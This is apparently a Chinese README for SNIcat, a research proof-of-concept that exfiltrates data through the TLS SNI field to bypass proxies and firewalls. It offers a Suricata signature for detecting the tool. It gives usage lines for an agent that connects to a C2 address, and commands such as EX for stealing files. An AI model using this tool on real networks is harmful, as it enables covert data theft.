SNIcat 是一个概念验证工具，通过利用 服务器名称指示（一种 TLS 客户端 Hello 扩展）中的隐蔽信道方法执行数据外泄。该工具由一个位于被攻陷内部主机上的 代理 和一个控制代理并收集外泄数据的 命令与控制 服务器组成。
关于 SNIcat 的完整故事可参阅我们的博客文章。
SNIcat 已在 macOS 和多种 Linux 发行版上测试。尽管可以轻松移植，但目前没有 Windows 版本，因为这只是 PoC 工具。
由于使用 HTTP CONNECT 而非 TLS Client Hello 连接显式代理，该外泄方法无法与显式代理配合使用。
SNIcat 可能无法在我们未测试的产品和软件版本中工作，但这并不意味着这些产品和/或软件版本不具备漏洞。
我们发现了一种新的隐蔽数据外泄方法，它能够专门绕过诸如 Web 代理、新一代防火墙（NGFW）以及专用 TLS 拦截与检测解决方案等安全边界防护。我们的测试证实，这是一个普遍问题，影响不同类型的安全解决方案及多家厂商的产品。我们成功针对 Cisco、F5 Networks、Palo Alto Networks 和 Fortinet 的产品进行了测试，并推测许多其他厂商同样易受影响。
通过使用我们的外泄方法 SNIcat，我们发现即使命令与控制（C2）域名被安全解决方案内置的常见信誉和威胁防御功能阻止，我们仍能绕过执行 TLS 检测的安全边界防护。简而言之，我们发现那些旨在保护用户安全的解决方案引入了新的漏洞。
我们还提供了一个 Suricata 签名，用于检测此特定工具。
克隆仓库：
https://github.com/mnemonic-no/SNIcat.git
安装依赖：
pip3 install -r requirements.txt --user
C2
从公开信任的 CA 获取通配符证书和密钥。这些代表 GOOD_CERT 和 GOOD_CERT_KEY。
使用自签名证书和密钥（不在任何信任存储中）作为 BAD_CERT 和 BAD_CERT_KEY。
(*) 用法： 'python3 snicat_c2.py <监听端口> <好证书> <好证书密钥> <坏证书> <坏证书密钥> log={on|off}'
(*) 示例： 'python3 snicat_c2_final.py 443 certs/good.pem certs/good.key certs/ssl-cert-snakeoil.pem log=off'
代理
(*) 用法： 'python3 snicat_agent.py <C2服务器IP> <C2服务器端口> log={on|off}'
(*) 示例： 'python3 snicat_agent.py 192.0.2.1 443 log=off'
C2 可用命令
LIST - 显示当前文件夹中的所有内容
LS - 仅显示当前文件夹中的文件
SIZE - 显示当前文件夹中文件的大小
LD - 显示当前文件夹中的每个目录
CB - 向下移动到根目录树 - 类似于 'cd ..'
CD <文件夹ID> - 向上移动到指定文件夹
EX <文件ID> - 外泄指定文件
ALIVE - 检查代理存活/死亡状态
EXIT - 退出 C2 服务器